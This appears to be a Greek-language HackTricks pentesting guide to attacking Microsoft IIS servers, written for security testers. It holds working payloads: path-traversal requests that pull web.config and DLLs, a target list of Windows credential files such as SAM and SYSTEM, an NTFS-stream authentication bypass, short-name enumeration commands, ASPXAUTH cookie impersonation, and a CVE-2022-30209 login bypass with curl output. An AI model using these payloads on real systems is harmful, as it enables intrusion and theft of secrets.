IIS - Internet Information Services

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλου λογισμικού.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αποκλεισμών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:


Δοκιμάστε τις επεκτάσεις αρχείων εκτελέσιμων αρχείων:

  • asp

  • aspx

  • config

  • php

Αποκάλυψη Εσωτερικής Διεύθυνσης IP

Σε οποιονδήποτε διακομιστή IIS όπου λαμβάνετε έναν κωδικό 302, μπορείτε να δοκιμάσετε να αφαιρέσετε την κεφαλίδα Host και να χρησιμοποιήσετε το HTTP/1.0 και μέσα στην απάντηση η κεφαλίδα Τοποθεσία μπορεί να σας κατευθύνει στην εσωτερική διεύθυνση IP:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Απάντηση που αποκαλύπτει την εσωτερική IP:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Εκτέλεση αρχείων .config

Μπορείτε να μεταφορτώσετε αρχεία .config και να τα χρησιμοποιήσετε για να εκτελέσετε κώδικα. Ένας τρόπος για να το κάνετε είναι να προσθέσετε τον κώδικα στο τέλος του αρχείου μέσα σε ένα σχόλιο HTML: Λήψη παραδείγματος εδώ

Περισσότερες πληροφορίες και τεχνικές για την εκμετάλλευση αυτής της ευπάθειας εδώ

Βίαιη ανακάλυψη IIS

Κατεβάστε τη λίστα που δημιούργησα:

Δημιουργήθηκε συγχωνεύοντας τα περιεχόμενα των παρακάτω λιστών:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Χρησιμοποιήστε τη χωρίς να προσθέσετε κάποια επέκταση, τα αρχεία που το χρειάζονται την έχουν ήδη.

Διάβαθμιση διαδρομής

Διαρροή κώδικα πηγής

Ελέγξτε το πλήρες άρθρο στο: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Ως περίληψη, υπάρχουν αρκετά αρχεία web.config μέσα στους φακέλους της εφαρμογής με αναφορές σε αρχεία "assemblyIdentity" και "namespaces". Με αυτές τις πληροφορίες είναι δυνατό να γνωρίζετε πού βρίσκονται τα εκτελέσιμα και να τα κατεβάσετε. Από τα κατεβασμένα Dlls είναι επίσης δυνατό να βρείτε νέα namespaces όπου πρέπει να προσπαθήσετε να έχετε πρόσβαση και να βρείτε το αρχείο web.config για να βρείτε νέα namespaces και assemblyIdentity. Επίσης, τα αρχεία connectionstrings.config και global.asax μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.\

Στις εφαρμογές .Net MVC, το αρχείο web.config παίζει κρίσιμο ρόλο καθορίζοντας κάθε δυαδικό αρχείο στο οποίο βασίζεται η εφαρμογή μέσω των ετικετών XML "assemblyIdentity".

Εξερεύνηση δυαδικών αρχείων

Ένα παράδειγμα πρόσβασης στο αρχείο web.config παρουσιάζεται παρακάτω:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Αυτό το αίτημα αποκαλύπτει διάφορες ρυθμίσεις και εξαρτήσεις, όπως:

  • Έκδοση EntityFramework

  • AppSettings για webpages, επικύρωση πελάτη, και JavaScript

  • Ρυθμίσεις System.web για πιστοποίηση και χρόνο εκτέλεσης

  • Ρυθμίσεις System.webServer modules

  • Δέσμευση συναρμολογήσεων Runtime για πολλές βιβλιοθήκες όπως Microsoft.Owin, Newtonsoft.Json, και System.Web.Mvc

Αυτές οι ρυθμίσεις υποδηλώνουν ότι ορισμένα αρχεία, όπως το /bin/WebGrease.dll, βρίσκονται μέσα στον φάκελο εφαρμογής /bin.

Αρχεία Καταλόγου Root

Αρχεία που βρίσκονται στον κατάλογο ρίζας, όπως το /global.asax και το /connectionstrings.config (που περιέχει ευαίσθητους κωδικούς πρόσβασης), είναι ουσιώδη για τη διαμόρφωση και λειτουργία της εφαρμογής.

Ονόματα Χώρων και Web.Config

Οι εφαρμογές MVC ορίζουν επίσης επιπλέον αρχεία web.config για συγκεκριμένους χώρους ονομάτων προκειμένου να αποφευχθεί η επαναλαμβανόμενη δήλωση σε κάθε αρχείο, όπως φαίνεται σε ένα αίτημα για λήψη ενός άλλου web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Λήψη DLLs

Η αναφορά σε ένα προσαρμοσμένο namespace υπονοεί την ύπαρξη ενός DLL με το όνομα "WebApplication1" που βρίσκεται στον κατάλογο /bin. Ακολούθως, παρουσιάζεται μια αίτηση για λήψη του WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Αυτό υπονοεί την ύπαρξη άλλων βασικών DLLs, όπως το System.Web.Mvc.dll και το System.Web.Optimization.dll, στον κατάλογο /bin.

Σε ένα σενάριο όπου ένα DLL εισάγει ένα namespace που ονομάζεται WebApplication1.Areas.Minded, ένας επιτιθέμενος μπορεί να συμπεράνει την ύπαρξη άλλων αρχείων web.config σε προβλέψιμα μονοπάτια, όπως το /area-name/Views/, που περιέχουν συγκεκριμένες ρυθμίσεις και αναφορές σε άλλα DLLs στον φάκελο /bin. Για παράδειγμα, μια αίτηση στο /Minded/Views/web.config μπορεί να αποκαλύψει ρυθμίσεις και namespaces που υποδεικνύουν την ύπαρξη ενός άλλου DLL, του WebApplication1.AdditionalFeatures.dll.

Κοινά αρχεία

Από εδώ

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

Σφάλμα 404 HTTPAPI 2.0

Εάν βλέπετε ένα σφάλμα όπως το παρακάτω:

Σημαίνει ότι ο διακομιστής δεν λάβει το σωστό όνομα τομέα μέσα στην κεφαλίδα Host. Για να έχετε πρόσβαση στην ιστοσελίδα, μπορείτε να ελέγξετε το Πιστοποιητικό SSL που χρησιμοποιείται και ίσως βρείτε το όνομα τομέα/υποτομέα εκεί. Αν δεν υπάρχει εκεί, μπορεί να χρειαστεί να δοκιμάσετε βίαια τα VHosts μέχρι να βρείτε το σωστό.

Παλιές ευπάθειες του IIS που αξίζει να αναζητήσετε

Ευπάθεια/Χαρακτηριστικό του τίλντα χαρακτήρα “~” στο Microsoft IIS - Αποκάλυψη Σύντομων Ονομάτων Αρχείων/Φακέλων

Μπορείτε να απαριθμήσετε φακέλους και αρχεία μέσα σε κάθε ανακαλυφθέντα φάκελο (ακόμα και αν απαιτείται Βασική Ταυτοποίηση) χρησιμοποιώντας αυτήν τη τεχνική. Το κύριο περιορισμό αυτής της τεχνικής είναι ότι μπορεί να βρει μόνο μέχρι τους πρώτους 6 χαρακτήρες του ονόματος κάθε αρχείου/φακέλου και τους πρώτους 3 χαρακτήρες της επέκτασης των αρχείων.

Μπορείτε να χρησιμοποιήσετε το https://github.com/irsdl/IIS-ShortName-Scanner για να ελέγξετε αυτήν την ευπάθεια: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Αρχική έρευνα: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Μπορείτε επίσης να χρησιμοποιήσετε το metasploit: use scanner/http/iis_shortname_scanner

Παράκαμψη Βασικής Ταυτοποίησης

Παρακάμψτε μια βασική ταυτοποίηση (IIS 7.5) προσπαθώντας να έχετε πρόσβαση στο: /admin:$i30:$INDEX_ALLOCATION/admin.php ή /admin::$INDEX_ALLOCATION/admin.php

Μπορείτε να δοκιμάσετε να συνδυάσετε αυτήν την ευπάθεια με την προηγούμενη για να βρείτε νέους φακέλους και να παρακάμψετε την ταυτοποίηση.

Ενεργοποιημένη αποσφαλμάτωση ASP.NET Trace.AXD

Το ASP.NET περιλαμβάνει έναν τρόπο αποσφαλμάτωσης και το αρχείο του ονομάζεται trace.axd.

Διατηρεί ένα πολύ λεπτομερές αρχείο καταγραφής όλων των αιτήσεων που γίνονται σε μια εφαρμογή κατά μήκος ενός χρονικού διαστήματος.

Αυτές οι πληροφορίες περιλαμβάνουν απομακρυσμένες διευθύνσεις IP πελατών, αναγνωριστικά συνεδρίας, όλα τα cookies αιτήσεων και απαντήσεων, φυσικές διαδρομές, πληροφορίες κώδικα πηγής και πιθανώς ακόμη και ονόματα χρηστών και κωδικούς πρόσβασης.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Μπισκότο ASPXAUTH

Το ASPXAUTH χρησιμοποιεί τις ακόλουθες πληροφορίες:

  • validationKey (συμβολοσειρά): κλειδί σε μορφή εξαγωγής για τον έλεγχο υπογραφής.

  • decryptionMethod (συμβολοσειρά): (προεπιλογή "AES").

  • decryptionIV (συμβολοσειρά): κλειδί αρχικοποίησης σε μορφή εξαγωγής (προεπιλογή σε ένα διάνυσμα με μηδενικά).

  • decryptionKey (συμβολοσειρά): κλειδί σε μορφή εξαγωγής για αποκρυπτογράφηση.

Ωστόσο, μερικοί άνθρωποι θα χρησιμοποιήσουν τις προεπιλεγμένες τιμές αυτών των παραμέτρων και θα χρησιμοποιήσουν ως μπισκότο το email του χρήστη. Επομένως, αν μπορείτε να βρείτε μια ιστοσελίδα που χρησιμοποιεί την ίδια πλατφόρμα που χρησιμοποιεί το μπισκότο ASPXAUTH και δημιουργήσετε ένα χρήστη με το email του χρήστη που θέλετε να παραστήσετε στον διακομιστή που είναι υπό επίθεση, μπορείτε να χρησιμοποιήσετε το μπισκότο από τον δεύτερο διακομιστή στον πρώτο και να παραστήσετε τον χρήστη. Αυτή η επίθεση λειτούργησε σε αυτό το άρθρο.

Παράκαμψη Ταυτοποίησης IIS με κρυφούς κωδικούς πρόσβασης (CVE-2022-30209)

Πλήρης έκθεση εδώ: Ένα σφάλμα στον κώδικα δεν ελέγχει σωστά τον κωδικό που δίνεται από τον χρήστη, έτσι ένας επιτιθέμενος του οποίου ο κατακερματισμένος κωδικός χτυπάει ένα κλειδί που είναι ήδη στη μνήμη cache θα μπορεί να συνδεθεί ως αυτός ο χρήστης.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

WhiteIntel είναι ένας μηχανισμός αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες malware.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αρπαγών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από malware που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τον μηχανισμό τους δωρεάν στο:

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated